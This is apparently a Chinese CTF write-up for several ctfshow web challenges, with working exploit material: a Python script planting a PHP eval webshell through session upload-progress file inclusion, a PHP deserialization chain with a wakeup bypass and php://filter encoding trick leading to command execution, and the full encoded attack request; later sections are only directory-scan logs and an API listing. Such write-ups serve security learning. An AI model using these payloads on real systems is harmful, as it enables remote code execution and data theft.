easy_include

#file协议的session文件包含

<?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}

要求必须是小写字母开头,而且不能路径遍历

1=localhost/etc/passwd

如果是根目录的话需要加上localhost

cookie开启了session,直接打session文件包含就行,这道题还不需要竞争

import requests
# Author:ctfshow-h1xa

url = "http://233551ec-d2da-45e8-8af2-4653abab5cf2.challenge.ctf.show/"

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
    '1':'localhost/tmp/sess_ctfshow',
    '2':'system("cat /flag_is_here.txt");'
}
file = {
    'file': 'ctfshow'
}
cookies = {
    'PHPSESSID': 'ctfshow'
}

response = requests.post(url=url,data=data,files=file,cookies=cookies)

print(response.text)

easy_web

#反序列化bypass+编码器处理垃圾字符

php版本为5.5.9

先不看waf了,先看下面的关键代码

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}
if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

反序列化,先写个链子

ctf::__destruct()->show::__call()->Chu0_write::__toString()

最终需要进入到__toString

本地调试一下链子

<?php
class ctf{
    public $h1;
    public $h2;
}

class show{
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
}
$Chu0_writ = new chu0_write();
$ctf = new ctf();
$ctf -> h1 = new show();
$ctf -> h2 = [
    [
        0 => "",
        1 => "",
        2 => $Chu0_writ
    ]
];
echo urlencode(serialize($ctf));

然后我们来看waf

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}
waf1($_REQUEST);

对键值对的值过滤了小写字母,$_REQUEST会同时接受GETpost里面的请求,但是post的优先级更高,所以随便传post传一个数字就能绕过就行了

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}
waf2($_SERVER['QUERY_STRING']);

会检查查询字符串是否包含show,因为我们需要传show_show.show才能进入else分支,可以用url编码进行绕过

if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);

经典的绕过wakeup方法,用C打头去绕过,用原生类ArrayObject类去打包一下

<?php
class ctf{
    public $h1;
    public $h2;
}

class show{
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
}
$Chu0_writ = new chu0_write();
$ctf = new ctf();
$ctf -> h1 = new show();
$ctf -> h2 = [
    [
        0 => "",
        1 => "",
        2 => $Chu0_writ
    ]
];
$arr = array("111"=>$ctf);
$poc = new ArrayObject($arr);
echo serialize($poc);
//C:11:"ArrayObject":176:{x:i:0;a:1:{i:111;O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}};m:a:0:{}}

接着我们看看__toString中的内容

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}    

public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
            $tmp = file_get_contents('ctfw.txt');

需要chu0和chu1相等,并且会将content写入txt文件中,看到waf_in_waf_php函数中,要求要出现一次base64字符串且不能出现ucs-2|phar|data|input|zip|flag|\%,意图很明显了,我们需要往ctfw.txt里面写代码,那么这里的name就只能是包含ctfw+任何东西

但是这里可以看到$content里面有一堆垃圾字符会影响我们的chu0,需要用多次编码去处理垃圾字符,让垃圾字符为非法的base64字符,这样在base64解码的时候就会忽略这些字符

<?php
$b="lajizufu";
$payload=iconv('utf8','utf-16',base64_encode($b));
echo quoted_printable_encode($payload);#输出为空,成功过滤垃圾字符
?>

最终可以得出我们的name参数

?name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

然后对于传进去的chu0,我们构造一个system吧,但是这里也是需要编码的

<?php
$b="system";
$payload=iconv('utf-8','utf-16',base64_encode($b));
echo quoted_printable_encode($payload);
?>

得到chu0的内容为=FE=FF=00c=003=00l=00z=00d=00G=00V=00t,只保留c=003=00l=00z=00d=00G=00V=00t

所以最后的poc

POST /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%38%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%31%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env HTTP/1.1
Host: 1da8ff86-acfd-476f-af7e-bd35d193b284.challenge.ctf.show
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

show[show.show=1&chu0=1&cmd=1&name=1

需要注意的是,序列化字符串需要url全编码,不然里面的show对象会触发waf2

孤注一掷

扫目录扫出好多东西

[19:43:12] Scanning:
[19:43:14] 200 -   10KB - /.DS_Store
[19:43:15] 200 -   221B - /.htaccess
[19:43:24] 403 -   555B - /application/
[19:43:24] 403 -   555B - /application/configs/application.ini
[19:43:24] 403 -   555B - /application/cache/
[19:43:24] 403 -   555B - /application/logs/
[19:43:24] 301 -   169B - /assets  ->  http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/assets/
[19:43:24] 403 -   555B - /assets/
[19:43:26] 200 -   181B - /check.php
[19:43:30] 200 -   143B - /gotoURL.asp?url=google.com&id=43569
[19:43:31] 200 -   10KB - /install.php
[19:43:31] 200 -   10KB - /install.php?profile=default
[19:43:36] 200 -   143B - /plugins/servlet/gadgets/makeRequest?url=https://google.com
[19:43:37] 403 -   555B - /protected/runtime/
[19:43:38] 200 -    32B - /robots.txt
[19:43:39] 301 -   169B - /static  ->  http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/static/
[19:43:40] 301 -   169B - /template  ->  http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/template/
[19:43:40] 403 -   555B - /template/
[19:43:41] 301 -   169B - /uploads  ->  http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/uploads/
[19:43:41] 403 -   555B - /uploads/
[19:43:43] 200 -  570KB - /www.zip

easy_api

打开显示FastApi启动报告

{"message":"fastapi startup complete"}

扫目录

[15:50:53] Scanning:
[15:51:12] 200 -    15B - /list
[15:51:14] 200 -    2KB - /openapi.json
[15:51:20] 307 -     0B - /upload  ->  http://d2b996ae-88fe-47db-9ec8-ebac71414e69.challenge.ctf.show/upload/
[15:51:20] 405 -    31B - /upload/
[15:51:20] 500 -    21B - /uploads/dump.sql
[15:51:20] 500 -    21B - /uploads/affwp-debug.log

访问openapi.json

openapi.json 是一个由 FastAPI 自动生成的 API 接口描述文件

{
  "openapi": "3.1.0",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/upload/": {
      "post": {
        "summary": "Upload File",
        "operationId": "upload_file_upload__post",
        "requestBody": {
          "content": {
            "multipart/form-data": {
              "schema": {
                "$ref": "#/components/schemas/Body_upload_file_upload__post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {

                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/uploads/{fileIndex}": {
      "get": {
        "summary": "Download File",
        "operationId": "download_file_uploads__fileIndex__get",
        "parameters": [
          {
            "name": "fileIndex",
            "in": "path",
            "required": true,
            "schema": {
              "type": "string",
              "title": "Fileindex"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {

                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/list": {
      "get": {
        "summary": "List File",
        "operationId": "list_file_list_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {

                }
              }
            }
          }
        }
      }
    },
    "/": {
      "get": {
        "summary": "Index",
        "operationId": "index__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {

                }
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "Body_upload_file_upload__post": {
        "properties": {
          "file": {
            "type": "string",
            "format": "binary",
            "title": "File"
          }
        },
        "type": "object",
        "required": [
          "file"
        ],
        "title": "Body_upload_file_upload__post"
      },
      "HTTPValidationError": {
        "properties": {
          "detail": {
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            },
            "type": "array",
            "title": "Detail"
          }
        },
        "type": "object",
        "title": "HTTPValidationError"
      },
      "ValidationError": {
        "properties": {
          "loc": {
            "items": {
              "anyOf": [
                {
                  "type": "string"
                },
                {
                  "type": "integer"
                }
              ]
            },
            "type": "array",
            "title": "Location"
          },
          "msg": {
            "type": "string",
            "title": "Message"
          },
          "type": {
            "type": "string",
            "title": "Error Type"
          }
        },
        "type": "object",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "title": "ValidationError"
      }
    }
  }
}

有三个接口,一个是POST类型的/upload/文件上传,GET类型的/uploads/{fileIndex}文件下载,GET类型的/list文件列表